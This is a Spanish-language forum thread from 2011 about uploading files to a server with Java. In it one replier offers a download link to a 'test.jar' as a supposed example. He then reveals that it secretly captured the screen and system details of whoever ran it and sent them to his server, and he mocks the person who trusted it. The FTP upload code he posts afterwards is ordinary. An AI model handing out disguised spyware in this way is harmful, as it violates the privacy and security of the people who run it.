Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)
Cita de: danyelk_6u5 en 20 Junio 2011, 00:13 AM
Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)
De que dispone tu servidor?
Si tiene FTP es muy sencillo, aunque si no lo tiene yo reconsideraría instalarlo.
Especificanos que es lo que cuentas y te podremos orientar.
Un saludo
Si, si tiene ftp =)...
algo como esto?
http://www.mediafire.com/?sf0os8nyo9453qb
(http://img546.imageshack.us/img546/8118/captura2011062120.jpg) (http://imageshack.us/photo/my-images/546/captura2011062120.jpg/)
Esa captura es de alguien que con mucha confianza ejecutó el test.jar
Lo que hace es capturar pantalla, obtener informacion del equipo y subirla a un servidor x LOL
Se que los .class se pueden decompilar así que no me iba a arriesgar a colocar el nombre de mi servidor xD muahahaha.
El código para subir un archivo es el siguiente.
public void subir(String ftpServer, String user, String password, String fileName, File source ) throws MalformedURLException, IOException {
if (ftpServer != null && fileName != null && source != null) {
StringBuffer sb = new StringBuffer( "ftp://" );
if (user != null && password != null) {
sb.append( user );
sb.append( ':' );
sb.append( password );
sb.append( '@' );
}
sb.append( ftpServer );
sb.append( '/' );
sb.append( fileName );
sb.append( ";type=i" );
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
URL url = new URL( sb.toString() );
URLConnection urlc = url.openConnection();
bos = new BufferedOutputStream( urlc.getOutputStream() );
bis = new BufferedInputStream( new FileInputStream( source ) );
int i;
while ((i = bis.read()) != -1) {
bos.write( i );
}
}
finally {
if (bis != null)
try {
bis.close();
}
catch (IOException ioe) {
ioe.printStackTrace();
}
if (bos != null)
try {
bos.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
} else {
System.out.println( "Input not available." );
}
}
Saludos.
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...
Cita de: danyelk_6u5 en 23 Junio 2011, 06:14 AM
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...
Entonces di que buscas para poder ayudarte.
Mediante sockets? Con un puerto a la escucha permanentemente (yo lo haría por FTP ya que al fin y al cabo viene a ser lo mismo).
Otra cosa que se me ocurre si no lo quieres hacerlo por FTP y tampoco quieres hacerlo por sockets, es creando un Servlet en el servidor y enviando el archivo a este Servlet. Esto requiere tener instalado un contenedor web como por ejemplo, Tomat.
Un saludo